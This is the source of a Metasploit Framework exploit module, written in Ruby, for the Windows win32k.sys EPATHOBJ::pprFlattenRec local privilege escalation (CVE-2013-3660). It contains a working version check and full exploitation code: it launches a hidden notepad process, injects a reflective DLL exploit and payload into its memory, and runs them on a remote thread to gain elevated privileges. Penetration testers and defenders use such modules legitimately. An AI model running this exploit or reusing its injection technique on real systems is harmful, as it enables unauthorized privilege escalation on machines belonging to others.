metasploit-framework/modules/exploits/windows/local/ppr_flatten_rec.rb

193 lines
6.6 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage
of uninitialized data which allows to corrupt memory. At the moment, the module has
been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit
'progmboy <programmeboy[at]gmail.com>', # Original Exploit
'Keebie4e', # Metasploit integration
'egypt', # Metasploit integration
'sinn3r', # Metasploit integration
'Meatballs', # Metasploit integration
'juan vazquez', # Metasploit integration
'OJ Reeves' # Metasploit integration
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Automatic', { } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2013-3660' ],
[ 'EDB', '25912' ],
[ 'OSVDB', '93539' ],
[ 'MSB', 'MS13-015' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],
],
'DisclosureDate' => 'May 15 2013',
'DefaultTarget' => 0,
# TODO: Uncomment this line and remove the Rex.sleep when WsfDelay works properly.
# Wait for up to 30 seconds by default for our shell because this exploit can
# take quite a while to finish execute
#'DefaultOptions' => { 'WfsDelay' => 30 }
}))
# TODO: remove this when we've sorted out the WsfDelay issue.
register_options([
OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 10 ])
], self.class)
end
def check
os = sysinfo["OS"]
if os =~ /windows/i
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}")
#WinXP x86 - 5.1.2600.6404
#WinXP/2003 5.2.3790.5174
#WinVista/2k8 - 6.0.6002.18861 / 6.0.6002.23132
#Win72k8R2 - 6.1.7601.18176 / 6.1.7601.22348
#Win8/2012 - 6.2.9200.16627 / 6.2.9200.20732
case build
when 2600
return Exploit::CheckCode::Vulnerable if revision < 6404
when 3790
return Exploit::CheckCode::Vulnerable if revision < 5174
when 6000
return Exploit::CheckCode::Vulnerable
when 6001
return Exploit::CheckCode::Vulnerable
when 6002
if branch == 18
return Exploit::CheckCode::Vulnerable if revision < 18861
else
return Exploit::CheckCode::Vulnerable if revision < 23132
end
when 7600
return Exploit::CheckCode::Vulnerable
when 7601
if branch == 18
return Exploit::CheckCode::Vulnerable if revision < 18176
else
return Exploit::CheckCode::Vulnerable if revision < 22348
end
when 9200
if branch == 16
return Exploit::CheckCode::Vulnerable if revision < 16627
else
return Exploit::CheckCode::Vulnerable if revision < 20732
end
end
end
return Exploit::CheckCode::Safe
end
def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
end
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end
dll = ''
offset = nil
print_status("Launching notepad to host the exploit...")
cmd = "notepad.exe"
opts = {'Hidden' => true}
process = client.sys.process.execute(cmd, nil, opts)
pid = process.pid
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
print_good("Process #{pid} launched.")
library_path = ::File.join(Msf::Config.data_directory, "exploits",
"cve-2013-3660", "ppr_flatten_rec.x86.dll")
library_path = ::File.expand_path(library_path)
::File.open(library_path, 'rb') { |f| dll = f.read }
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
pe.exports.entries.each do |e|
if e.name =~ /^\S*ReflectiveLoader\S*/
offset = pe.rva_to_file_offset(e.rva)
break
end
end
print_status("Injecting exploit and payload into #{pid}...")
# Inject the exploit and payload, but don't run it yet.
exploit_mem, payload_mem = inject_into_pid(dll, payload.encoded, host_process)
print_status("Injection complete. Executing exploit...")
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
host_process.thread.create(exploit_mem + offset, payload_mem)
# TODO: remove this Rex.sleep call when the WsfDelay stuff works correctly for local
# exploits. For some reason it doesn't appear to work properly.
wait = datastore['WAIT'].to_i
print_status("Exploit thread executing (can take a while to run), waiting #{wait} sec ...")
Rex.sleep(wait)
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
end
protected
def inject_into_pid(exploit, payload, process)
payload_size = exploit.length + payload.length
payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0
payload_mem = process.memory.allocate(payload_size)
process.memory.protect(payload_mem)
process.memory.write(payload_mem, exploit)
process.memory.write(payload_mem + exploit.length, payload)
return payload_mem, payload_mem + exploit.length
end
end